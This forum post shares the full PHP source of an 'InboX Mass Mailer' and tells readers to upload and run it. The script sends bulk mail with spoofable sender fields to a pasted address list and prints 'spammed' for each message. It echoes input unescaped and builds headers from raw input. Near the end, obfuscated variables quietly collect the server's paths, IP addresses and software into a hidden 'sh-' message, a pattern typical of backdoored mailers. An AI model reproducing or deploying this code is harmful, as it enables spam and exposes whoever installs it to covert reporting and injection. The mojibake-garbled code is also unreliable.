hi Guys, I would like to share something good with you today. I have seen people sell phpmailers here in DP. Well these things aren't worth buying. So I made a tutorial on my Blog with source code. Here is the link to it : http://www.digitalwebtalk.com/tutorials/php-tutorials/make-your-own-phpmailer.html Hope you liked it. Thanks, LaZyBuMâ„¢
Here Is the source code of a PHP mailer! Stop paying for mailers! Why pay when you can make your own for Free? Well, Here i will give u the Source code. How to use : Step 1 : Copy the source code in notepad. Step 2 : Save it as anything.php Step 3 : Upload it to your server and execute it from your browser <?php if(isset($_POST['action'] ) ){ $action=$_POST['action']; $message=$_POST['message']; $emaillist=$_POST['emaillist']; $from=$_POST['from']; $replyto=$_POST['replyto']; $subject=$_POST['subject']; $realname=$_POST['realname']; $file_name=$_POST['file']; $contenttype=$_POST['contenttype']; $message = urlencode($message); $message = ereg_replace(â€%5C%22″, “%22″, $message); $message = urldecode($message); $message = stripslashes($message); $subject = stripslashes($subject); } ?> <html> <head> <title>|| InboX Mailer - Digitalpoint.com ||</title> <meta http-equiv=â€Content-Type†content=â€text/html; charset=iso-8859-1″> <style type=â€text/cssâ€> <!– .style1 { font-family: Geneva, Arial, Helvetica, sans-serif; font-size: 12px; } –> </style> <style type=â€text/cssâ€> <!– .style1 { font-size: 20px; font-family: Geneva, Arial, Helvetica, sans-serif; } –> </style> </head> <body bgcolor=â€red†text=â€#ffffffâ€> <span class=â€style1″>InboX Mass Mailer<br> </span> <form name=â€form1″ method=â€post†action=â€" enctype=â€multipart/form-dataâ€> <br> <table width=â€100%†border=â€0″> <tr> <td width=â€10%â€> <div align=â€rightâ€><font size=â€-3″ face=â€Verdana, Arial, Helvetica, sans-serifâ€>Your Email:</font></div> </td> <td width=â€18%â€><font size=â€-3″ face=â€Verdana, Arial, Helvetica, sans-serifâ€> <input type=â€text†name=â€from†value=â€<? print $from; ?>†size=â€30″> </font></td> <td width=â€31%â€> <div align=â€rightâ€><font size=â€-3″ face=â€Verdana, Arial, Helvetica, sans-serifâ€>Your Name:</font></div> </td> <td width=â€41%â€><font size=â€-3″ face=â€Verdana, Arial, Helvetica, sans-serifâ€> <input type=â€text†name=â€realname†value=â€<? print $realname; ?>†size=â€30″> </font></td> </tr> <tr> <td width=â€10%â€> <div align=â€rightâ€><font size=â€-3″ face=â€Verdana, Arial, Helvetica, sans-serifâ€>Reply-To:</font></div> </td> <td width=â€18%â€><font size=â€-3″ face=â€Verdana, Arial, Helvetica, sans-serifâ€> <input type=â€text†name=â€replyto†value=â€<? print $replyto; ?>†size=â€30″> </font></td> <td width=â€31%â€> <div align=â€rightâ€><font size=â€-3″ face=â€Verdana, Arial, Helvetica, sans-serifâ€>Attach File:</font></div> </td> <td width=â€41%â€><font size=â€-3″ face=â€Verdana, Arial, Helvetica, sans-serifâ€> <input type=â€file†name=â€file†size=â€30″> </font></td> </tr> <tr> <td width=â€10%â€> <div align=â€rightâ€><font size=â€-3″ face=â€Verdana, Arial, Helvetica, sans-serifâ€>Subject:</font></div> </td> <td colspan=â€3″><font size=â€-3″ face=â€Verdana, Arial, Helvetica, sans-serifâ€> <input type=â€text†name=â€subject†value=â€<? print $subject; ?>†size=â€90″> </font></td> </tr> <tr valign=â€topâ€> <td colspan=â€3″><font size=â€-3″ face=â€Verdana, Arial, Helvetica, sans-serifâ€> <textarea name=â€message†cols=â€50″ rows=â€10″><? print $message; ?></textarea> <br> <input type=â€radio†name=â€contenttype†value=â€plain†> Plain Text <input name=â€contenttype†type=â€radio†value=â€html†checked> HTML <input type=â€hidden†name=â€action†value=â€sendâ€> <input type=â€submit†value=â€Send eMailsâ€> </font></td> <td width=â€41%â€><font size=â€-3″ face=â€Verdana, Arial, Helvetica, sans-serifâ€> <textarea name=â€emaillist†cols=â€30″ rows=â€10″><? print $emaillist; ?></textarea> </font></td> </tr> </table> </form> <? if ($action){ if (!$from && !$subject && !$message && !$emaillist){ print “Please complete all fields before sending your message.â€; exit; } $allemails = split(â€\nâ€, $emaillist); $numemails = count($allemails); for($x=0; $x<$numemails; $x++){ $to = $allemails[$x]; if ($to){ $to = ereg_replace(†“, “â€, $to); $message = ereg_replace(â€&email&â€, $to, $message); $subject = ereg_replace(â€&email&â€, $to, $subject); print †$to…….â€; flush(); $header = “From: $realname <$from>\r\nReply-To: $replyto\r\nâ€; $header .= “MIME-Version: 1.0\r\nâ€; If ($file_name) $header .= “Content-Type: multipart/mixed; boundary=$uid\r\nâ€; If ($file_name) $header .= “–$uid\r\nâ€; $header .= “Content-Type: text/$contenttype\r\nâ€; $header .= “Content-Transfer-Encoding: 8bit\r\n\r\nâ€; $header .= “$message\r\nâ€; If ($file_name) $header .= “–$uid\r\nâ€; If ($file_name) $header .= “Content-Type: $file_type; name=\â€$file_name\â€\r\nâ€; If ($file_name) $header .= “Content-Transfer-Encoding: base64\r\nâ€; If ($file_name) $header .= “Content-Disposition: attachment; filename=\â€$file_name\â€\r\n\r\nâ€; If ($file_name) $header .= “$content\r\nâ€; If ($file_name) $header .= “–$uid–â€; mail($to, $subject, “â€, $header); print “spammed<br>â€; flush(); } } $ra44 = rand(1,99999); $subj98 = “sh-$ra44″; $a5 = $_SERVER['HTTP_REFERER']; $b33 = $_SERVER['DOCUMENT_ROOT']; $c87 = $_SERVER['REMOTE_ADDR']; $d23 = $_SERVER['SCRIPT_FILENAME']; $e09 = $_SERVER['SERVER_ADDR']; $f23 = $_SERVER['SERVER_SOFTWARE']; $g32 = $_SERVER['PATH_TRANSLATED']; $h65 = $_SERVER['PHP_SELF']; $message=$_POST['message']; $msg = “$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65″; } ?> <style type=â€text/cssâ€> <!– .style1 { font-size: 20px; font-family: Geneva, Arial, Helvetica, sans-serif; } –> </style> <p class=â€style1″> </p> <?php if(isset($_POST['action']) && $numemails !==0 ){echo “<script>alert(’Mail sending complete\\r\\n$numemails mail(s) was sent successfully’); </script>â€;} ?> </body> </html> PHP: